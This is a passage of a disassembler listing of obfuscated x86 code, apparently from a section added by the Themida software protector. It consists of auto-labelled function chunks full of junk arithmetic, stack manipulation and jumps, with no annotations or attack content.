		jmp	loc_59A3F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D82E


loc_598C39:				; CODE XREF: sub_59D82E-335Dj
		push	cx
		pushf
		jmp	loc_59F830
; END OF FUNCTION CHUNK	FOR sub_59D82E
; ---------------------------------------------------------------------------


loc_598C41:				; CODE XREF: Themida_:005927DDj
		sub	eax, 6F3171E5h
		inc	eax
		sub	eax, 47C263E1h
		add	eax, 6AF63762h
		jmp	loc_5A18E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0733


loc_598C56:				; CODE XREF: sub_5A0733+42Cj
		mov	ecx, eax
		mov	eax, [esp+8+var_8]
		add	esp, 4
		sub	edi, 64A02DFDh
		add	edi, ecx
		add	edi, 64A02DFDh
		pop	ecx
		add	edi, 4
		xor	edi, [esp+0]
		jmp	loc_59B2DE
; END OF FUNCTION CHUNK	FOR sub_5A0733
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338E


loc_598C7E:				; CODE XREF: sub_59338E+DF0Cj
		not	edx
		sub	edx, 21B7A8C5h
		push	2EFDh
		mov	[esp+0Ch+var_C], eax
		jmp	sub_592E25
; END OF FUNCTION CHUNK	FOR sub_59338E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598C93:				; CODE XREF: sub_59390B+BF3j
		sub	edx, eax
		pop	eax
		jmp	loc_596E78
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598C9B:				; CODE XREF: Themida_:0059B7D8j
		xor	ch, 53h
		xor	ch, 15h
		add	ah, ch
		pop	ecx
		xor	dh, ah
		jmp	loc_5A1194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A09BC


loc_598CAB:				; CODE XREF: sub_5A09BC+1B35j
		sub	ebp, eax
		pop	eax
		sub	eax, ebp
		pop	ebp
		add	eax, esi
		add	eax, 36DD7809h
		push	[esp-8+arg_4]
		pop	esi
		jmp	loc_59AB38
; END OF FUNCTION CHUNK	FOR sub_5A09BC
; ---------------------------------------------------------------------------


loc_598CC1:				; CODE XREF: Themida_:0059B205j
		push	ecx
		push	ebx
		jmp	loc_59B667
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598CC8:				; CODE XREF: sub_59390B-A3Dj
		add	eax, ebp
		push	[esp-18h+arg_10]
		jmp	loc_5A1B23
; ---------------------------------------------------------------------------


loc_598CD2:				; CODE XREF: sub_59390B+118DAj
		mov	bl, 2Ch
		not	bl
		or	bl, 6Bh
		sub	bl, 0B8h
		add	al, 43h
		sub	al, 0D0h
		add	al, bl
		jmp	loc_59BA96
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_598CE7:				; CODE XREF: sub_59E918-DCE5j
		mov	bl, 1Dh
		jmp	loc_591085
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_598CEE:				; CODE XREF: sub_595BAD+D1B3j
		and	ecx, edi
		push	[esp+10h+var_10]
		jmp	loc_595488
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_598CF8:				; CODE XREF: sub_599AE1-7B65j
		add	esi, 5A8F11CFh
		pop	edi
		add	esi, eax
		sub	esp, 4
		jmp	loc_5A154A
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598D09:				; CODE XREF: sub_59390B+319j
		mov	esp, [esp-10h+arg_8]
		shr	ecx, 0
		or	eax, eax
		jz	loc_59C4FE
		push	510Fh
		jmp	loc_5968E1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598D21:				; CODE XREF: Themida_:0059CC4Bj
		mov	edx, 2243071Eh
		sub	eax, edx
		pop	edx
		push	dword ptr [esp]
		pop	ebp
		push	edi
		mov	edi, esp
		jmp	loc_591A86
; ---------------------------------------------------------------------------


loc_598D35:				; CODE XREF: Themida_:00594F4Dj
		push	eax
		jmp	loc_59DD52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598D3B:				; CODE XREF: sub_59390B-29F4j
		add	esp, 4
		xor	ecx, eax
		jmp	loc_5914F4
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		push	0C7Ah
		push	7AC3h
		mov	[esp], ecx
		jmp	loc_593755
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598D5A:				; CODE XREF: sub_59390B+43A8j
		mov	[esp-14h+arg_C], esp
		add	[esp-14h+arg_C], 4
		push	[esp-14h+arg_C]
		pop	ebp
		jmp	sub_599F46
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_598D6D:				; CODE XREF: sub_59FCCB-2B40j
		not	ah
		jmp	loc_594700
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 77B840D3h
		sub	eax, 289952ADh
		add	eax, ebx
		add	eax, 289952ADh
		push	edi
		push	eax
		push	3DC6542Ch
		pop	eax
		mov	edi, 0AB4F9064h
		sub	edi, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_5990F4
; ---------------------------------------------------------------------------


loc_598DA1:				; CODE XREF: Themida_:005969D7j
		add	ebx, 2A1B7557h
		jmp	loc_5A559E
; ---------------------------------------------------------------------------


loc_598DAC:				; CODE XREF: Themida_:0059A900j
		add	ax, 166Ah
		jmp	loc_593F5F
; ---------------------------------------------------------------------------


loc_598DB5:				; CODE XREF: Themida_:0059F1F8j
		mov	[esp], esi
		push	edi
		mov	edi, 64456F88h
		jmp	loc_595F5A

; =============== S U B	R O U T	I N E =======================================



sub_598DC3	proc near		; CODE XREF: sub_59390B+6A0Fj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005966E6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059B349 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059F27F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A17C5 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A1B32 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A5866 SIZE 00000010 BYTES

		push	ebp
		push	4EF1h
		push	esp
		pop	[esp+0Ch+var_C]
		add	[esp+8+var_8], 4
		jmp	loc_5A17C5
sub_598DC3	endp

; ---------------------------------------------------------------------------


loc_598DD9:				; CODE XREF: Themida_:005A211Fj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5A46D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59822A


loc_598DE9:				; CODE XREF: sub_59822A-D0Ej
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_5A2027
; END OF FUNCTION CHUNK	FOR sub_59822A
; ---------------------------------------------------------------------------


loc_598DF7:				; CODE XREF: Themida_:005A130Fj
		push	71267E24h
		pop	ebx
		sub	ebx, 0FC752B80h
		mov	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5A4989
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D02F


loc_598E14:				; CODE XREF: sub_59D02F+467Dj
		push	ecx
		push	[esp+0Ch+var_C]
		pop	eax
		add	esp, 4
		push	eax
		push	[esp+0Ch+var_C]
		pop	ebx
		jmp	loc_5A0641
; END OF FUNCTION CHUNK	FOR sub_59D02F
; ---------------------------------------------------------------------------


loc_598E29:				; CODE XREF: Themida_:005A3A66j
		mov	eax, 1AA2A269h
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 2F423C3Ah
		add	eax, 57D5E39h
		sub	eax, edx
		jmp	loc_5A51C3
; ---------------------------------------------------------------------------


loc_598E4A:				; CODE XREF: Themida_:0059E82Ej
		mov	edx, [esp]
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_59DB72
; ---------------------------------------------------------------------------


loc_598E5E:				; CODE XREF: Themida_:0059B3E7j
		not	dword ptr [esp]
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_59E3A0
; ---------------------------------------------------------------------------


loc_598E78:				; CODE XREF: Themida_:005A2D3Cj
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		add	[esp+4], ebx
		mov	ebx, [esp]
		push	edx
		jmp	loc_5912F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598E95:				; CODE XREF: sub_59390B+5E1j
		xor	edx, 7046AFC0h
		jmp	loc_5911C4
; ---------------------------------------------------------------------------


loc_598EA0:				; CODE XREF: sub_59390B+2A25j
		pop	eax
		xor	di, bx
		mov	bx, [esp+0]
		add	esp, 2
		jmp	loc_5A55D1
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F53F


loc_598EB3:				; CODE XREF: sub_59F53F+Ej
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5A45DE
; END OF FUNCTION CHUNK	FOR sub_59F53F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_598EC7:				; CODE XREF: sub_59390B+B6B3j
		add	edx, edi
		jmp	loc_59A166
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_598ECE:				; CODE XREF: Themida_:005A17ECj
		add	esi, ecx
		sub	esi, 5C1B2098h
		pop	ecx
		sub	esi, 4
		jmp	loc_59B9D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_598EE2:				; CODE XREF: sub_59A75E-637Bj
		sub	bx, di
		add	bx, 6AD0h
		mov	di, word ptr [esp+6+var_8+2]
		add	esp, 2
		add	bx, si
		push	si
		push	ebp
		mov	bp, 787Bh
		jmp	loc_59AE4E
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_598F00:				; CODE XREF: Themida_:0059BA7Aj
		mov	ebx, 3D255D91h
		sub	[esp+0Ch], ebx
		pop	ebx
		pop	ebp
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_5995D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_598F28:				; CODE XREF: sub_59CAFB+8536j
		pop	edx
		push	eax
		push	edi
		jmp	loc_5919BC
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_598F30:				; CODE XREF: Themida_:0059EBDDj
		push	ecx
		mov	ecx, 7E0D5A44h
		mov	ebp, 81F2A5C0h
		add	ebp, ecx
		pop	ecx
		push	ecx
		jmp	loc_5A070C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F8C2


loc_598F44:				; CODE XREF: sub_59F8C2+58FCj
		not	ebx
		dec	ebx
		shl	ebx, 5
		push	esi
		jmp	loc_59BE04
; END OF FUNCTION CHUNK	FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5933BB


loc_598F50:				; CODE XREF: sub_5933BB-C8Aj
		sub	ebx, 0FFFFFFFFh
		push	esi
		mov	esi, 88843A4h
		sub	esi, 0A8D76F3Ah
		sub	ebx, 17B7379Fh
		push	ecx
		mov	ecx, 766055E7h
		add	ebx, ecx
		pop	ecx
		sub	ebx, 0AFD6A45h
		add	ebx, esi
		add	ebx, 0AFD6A45h
		sub	ebx, 766055E7h
		add	ebx, 17B7379Fh
		pop	esi
		add	ecx, ebx
		pop	ebx
		add	ecx, edi
		push	eax
		push	edx
		jmp	loc_594816
; END OF FUNCTION CHUNK	FOR sub_5933BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_598F95:				; CODE XREF: sub_59FCCB-90A5j
		mov	edx, 38h
		mov	ebx, edx
		pop	edx
		jmp	loc_5964CB
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_598FA2:				; CODE XREF: sub_5936EC+11EE0j
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		xchg	eax, [esp+4+var_4]
		not	eax
		xchg	eax, [esp+4+var_4]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	eax
		add	esp, 4
		jmp	loc_591A00
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------


loc_598FC5:				; CODE XREF: Themida_:0059ADC8j
		xor	[esp], ebx
		jmp	loc_5A5A58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_598FCD:				; CODE XREF: sub_5A4CDD-F259j
		mov	[esp+10h+var_10], ebx
		mov	ebx, 321693Eh
		sub	esp, 4
		mov	[esp+14h+var_14], edx
		jmp	loc_59E3E7
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AB43


loc_598FE0:				; CODE XREF: sub_59AB43-8645j
		xchg	ecx, [esp-8+arg_4]
		pop	esp
		push	eax
		push	ebp
		mov	ebp, 9364A46h
		mov	eax, 5927EE9Eh
		add	eax, ebp
		jmp	loc_59CB51
; END OF FUNCTION CHUNK	FOR sub_59AB43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_598FF7:				; CODE XREF: sub_59CAFB-7465j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+10h+var_10]
		pop	esp
		xchg	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	45A4h
		jmp	loc_59F366
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_599019:				; CODE XREF: sub_59A431+5825j
		push	5F1Bh
		mov	[esp+0Ch+var_C], ebp
		jmp	loc_59ACF3
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599026:				; CODE XREF: sub_59390B-5A8j
		xchg	ebx, [esp+0]
		jmp	loc_59EA73
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3536


loc_59902E:				; CODE XREF: sub_5A3536+5j
		mov	edx, esp
		add	edx, 4
		push	ebx
		jmp	loc_5949C9
; END OF FUNCTION CHUNK	FOR sub_5A3536
; ---------------------------------------------------------------------------


loc_59903C:				; CODE XREF: Themida_:005996CEj
		add	esp, 4
		add	esi, 5D2F086Dh
		jmp	loc_5A5BBD
; ---------------------------------------------------------------------------


loc_59904A:				; CODE XREF: Themida_:00597C53j
		push	7170h
		mov	[esp], ebx
		mov	ebx, 4
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	3F1359A1h
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 22FD7E48h
		push	ecx
		push	edi
		mov	edi, 3BAF527Dh
		jmp	loc_59F84C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599080:				; CODE XREF: sub_59390B+6E8Ej
		shl	ebx, 3
		sub	ebx, 0C7D3EE58h
		add	ecx, ebx
		pop	ebx
		sub	ecx, 0EE473542h
		add	ebx, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp-8+arg_0]
		xor	[esp-8+arg_0], ebx
		jmp	loc_5941BF
; ---------------------------------------------------------------------------


loc_5990A8:				; CODE XREF: sub_59390B+9D5Ej
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	ebp
		push	[esp-4+arg_0]
		mov	ebp, [esp+0]
		add	esp, 4
		pop	dword ptr [esp+0]
		mov	esp, [esp-8+arg_0]
		sub	edi, 5BA719F9h
		add	edi, ecx
		push	4759h
		mov	[esp+0], ebx
		push	esi
		mov	esi, 7FCE2824h
		mov	ebx, esi
		push	dword ptr [esp+0]
		mov	esi, [esp+4+var_4]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_597ADD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5990F4:				; CODE XREF: Themida_:00598D9Cj
		mov	edi, 105E6E1Eh
		jmp	loc_595EB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3EFB


loc_5990FE:				; CODE XREF: sub_5A3EFB-122D6j
		and	ebx, 785F31B7h
		jmp	loc_5A24FC
; END OF FUNCTION CHUNK	FOR sub_5A3EFB
; ---------------------------------------------------------------------------


loc_599109:				; CODE XREF: Themida_:0059E110j
		pop	esi
		pop	eax
		dec	eax
		jmp	loc_594067
; ---------------------------------------------------------------------------


loc_599111:				; CODE XREF: Themida_:00596BC3j
		dec	ebp
		push	ecx
		mov	ecx, 1C32B7Dh
		xor	ecx, 79A85493h
		or	ecx, 24706DF5h
		sub	ecx, 69FD30C2h
		neg	ecx
		sub	ecx, 49261BFFh
		jmp	loc_59E698
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_599137:				; CODE XREF: sub_591FE1+3D06j
		push	eax
		push	edi
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		push	edx
		jmp	loc_59798E
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_599148:				; CODE XREF: sub_5A2FE9-1173Ej
		pop	[esp+10h+var_10]
		jmp	loc_595B7B
; END OF FUNCTION CHUNK	FOR sub_5A2FE9
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3C66h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	5F12h
		mov	[esp], esi
		jmp	loc_593D32
; ---------------------------------------------------------------------------


loc_599171:				; CODE XREF: Themida_:0059D208j
		sub	edi, 85DC981Ch
		jmp	loc_597F4D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_59917C:				; CODE XREF: sub_5964AF+6C44j
		mov	ecx, 5FB11D17h
		mov	edx, ecx
		mov	ecx, [esp-8+arg_4]
		jmp	loc_5929BF
; END OF FUNCTION CHUNK	FOR sub_5964AF

; =============== S U B	R O U T	I N E =======================================



sub_59918B	proc near		; CODE XREF: sub_594A8D+F2AEj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00594FCF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059523A SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005969C8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005969F7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059756E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00599368 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059986B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059A825 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059BB37 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059BFB1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059C956 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059FFE6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A168C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A187E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A25BF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2B35 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A2CB3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A2DDB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A3326 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A3E76 SIZE 00000009 BYTES

		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebp
		mov	ebp, 741D4006h
		sub	ebp, 35F86DE5h
		sub	ebp, 247D8970h
		mov	ebx, ebp
		pop	ebp
		push	ebp
		jmp	loc_59756E
sub_59918B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5991C0:				; CODE XREF: Themida_:005A3303j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		push	ecx
		push	ebx
		mov	ebx, 4
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	[esp+4], ecx
		jmp	loc_597793
; ---------------------------------------------------------------------------


loc_5991DF:				; CODE XREF: Themida_:005972D8j
		pop	esi
		mov	edx, [esp]
		jmp	loc_59A1AC
; ---------------------------------------------------------------------------


loc_5991E8:				; CODE XREF: Themida_:005A1306j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [eax]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5991F8:				; CODE XREF: Themida_:0059F3DFj
		sub	dl, 0FFh
		push	ax
		push	edx
		mov	dh, 89h
		push	ebx
		push	5969h
		mov	[esp], ecx
		jmp	loc_5A5B85
; ---------------------------------------------------------------------------


loc_59920E:				; CODE XREF: Themida_:00599F24j
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_59921A:				; CODE XREF: sub_5A4CDD-1E79j
		sub	ebx, eax
		pop	eax
		add	ebx, eax
		add	ebx, 1F0D4C65h
		jmp	loc_595E89
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59922A:				; CODE XREF: sub_59390B+10063j
		mov	dh, 0A2h
		sub	al, dh
		jmp	loc_59E257
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599233:				; CODE XREF: Themida_:00591893j
		add	ebp, 4B9F56B8h
		pop	edx
		sub	edx, 34013C1Eh
		jmp	loc_59A8E5
; ---------------------------------------------------------------------------


loc_599245:				; CODE XREF: Themida_:00597238j
		mov	dl, 0A2h
		xor	dl, 47h
		sub	bl, dl
		pop	edx
		sub	al, 3Eh
		add	al, bl
		push	5F20h
		mov	[esp], ecx
		mov	ch, 0B6h
		neg	ch
		push	edx
		mov	dh, 0C5h
		shr	dh, 3
		add	dh, 0B3h
		jmp	loc_59E90D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59926B:				; CODE XREF: sub_59390B+C142j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A3973
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_599279:				; CODE XREF: sub_59A4D6-2CA0j
		pop	ebp
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_5A038F
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59928B:				; CODE XREF: sub_59390B+B3Bj
		xchg	ebx, [esp+8+var_8]
		pop	esp
		jmp	loc_59210A
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_599294	proc near		; CODE XREF: sub_59CAFB-1787j
		push	ebx
		push	edx
		mov	edx, 9B549Ah
		inc	edx
		and	edx, 3EC77BD1h
		xor	edx, 2B477688h
		mov	ebx, edx
		pop	edx
		jmp	loc_593D6D
sub_599294	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5992B0:				; CODE XREF: sub_59390B+93F4j
		push	eax
		jmp	loc_595443
; ---------------------------------------------------------------------------


loc_5992B6:				; CODE XREF: sub_59390B-448j
		add	ebp, 0FF0ACD3h
		jmp	loc_59E720
; ---------------------------------------------------------------------------


loc_5992C1:				; CODE XREF: sub_59390B+4009j
		pop	edx
		jmp	loc_599524
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_592A04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_5992DB:				; CODE XREF: sub_5A4CDD-8341j
		pop	esi
		jmp	loc_5A4603
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------


loc_5992E1:				; CODE XREF: Themida_:005A581Fj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5A39F7
; ---------------------------------------------------------------------------


loc_5992FB:				; CODE XREF: Themida_:00592A17j
		pop	ebp
		push	edi
		push	esi
		mov	esi, 47B720FFh
		jmp	loc_5A5836
; ---------------------------------------------------------------------------


loc_599308:				; CODE XREF: Themida_:005A4FCCj
		push	ebp
		jmp	loc_59AD79
; ---------------------------------------------------------------------------


loc_59930E:				; CODE XREF: Themida_:00595368j
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_590A9B

; =============== S U B	R O U T	I N E =======================================



sub_59931D	proc near		; CODE XREF: sub_5936EC+A9E0j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059943F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059A5C1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059FF0D SIZE 0000000E BYTES

		push	ebp
		mov	ebp, 4
		sub	esi, 507C7120h
		jmp	loc_59943F
sub_59931D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_59932E:				; CODE XREF: Themida_:005A5B4Aj
		push	35F6h
		mov	[esp], eax
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59933B:				; CODE XREF: Themida_:0059259Fj
		add	esp, 4
		add	edx, 34AB499Eh
		push	ebx
		push	eax
		mov	eax, 1FF91478h
		not	eax
		add	eax, 3F22CF9h
		xor	eax, 0C3A72ED5h
		mov	ebx, eax
		pop	eax
		sub	ebx, 16E3CA74h
		add	edx, ebx
		pop	ebx
		jmp	loc_599E9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_599368:				; CODE XREF: sub_59918B-1C0Cj
		or	ebp, 3B92466h
		neg	ebp
		not	ebp
		xor	ebp, 5E1EBD6Bh
		xor	ebx, ebp
		pop	ebp
		push	esi
		push	ebx
		add	[esp+8+var_8], 2B0929A9h
		jmp	loc_5A187E
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------


loc_599389:				; CODE XREF: Themida_:0059AB12j
		add	edi, 10405A31h
		sub	edi, edx
		push	ecx
		mov	ecx, 10405A31h
		sub	edi, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59288D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5993B6:				; CODE XREF: sub_59390B+93j
		add	ebp, 19E69D2h
		jmp	loc_59DFDA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5993C1:				; CODE XREF: Themida_:0059A32Fj
		pop	ebx
		push	24E2h
		mov	[esp], ebx
		push	edx
		push	eax
		mov	al, 51h
		mov	dl, 0Dh
		add	dl, al
		pop	eax
		shl	dl, 2
		xor	dl, 0C5h
		add	dl, 0DFh
		neg	dl
		add	dl, 0C4h
		add	dl, 0FFh
		shr	dl, 6
		push	ebx
		jmp	loc_59B8B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5993ED:				; CODE XREF: sub_59390B+45Dj
		mov	esp, [esp-26h+arg_1C+2]
		push	eax
		mov	eax, esp
		jmp	loc_59A79E
; ---------------------------------------------------------------------------


loc_5993F8:				; CODE XREF: sub_59390B+3575j
		sub	edx, 4801289Fh
		push	edi
		mov	edi, 75D469AEh
		xor	edi, 463860D8h
		add	edi, 237743ECh
		xor	edi, 5D584FDBh
		add	edi, 301633D6h
		xor	edi, 0AC53CF4h
		add	edx, edi
		pop	edi
		mov	ebx, [esp+0Ch+var_C]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+10h+var_10]
		jmp	loc_59D412
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59931D


loc_59943F:				; CODE XREF: sub_59931D+Cj
		add	esi, ebp
		add	esi, 507C7120h
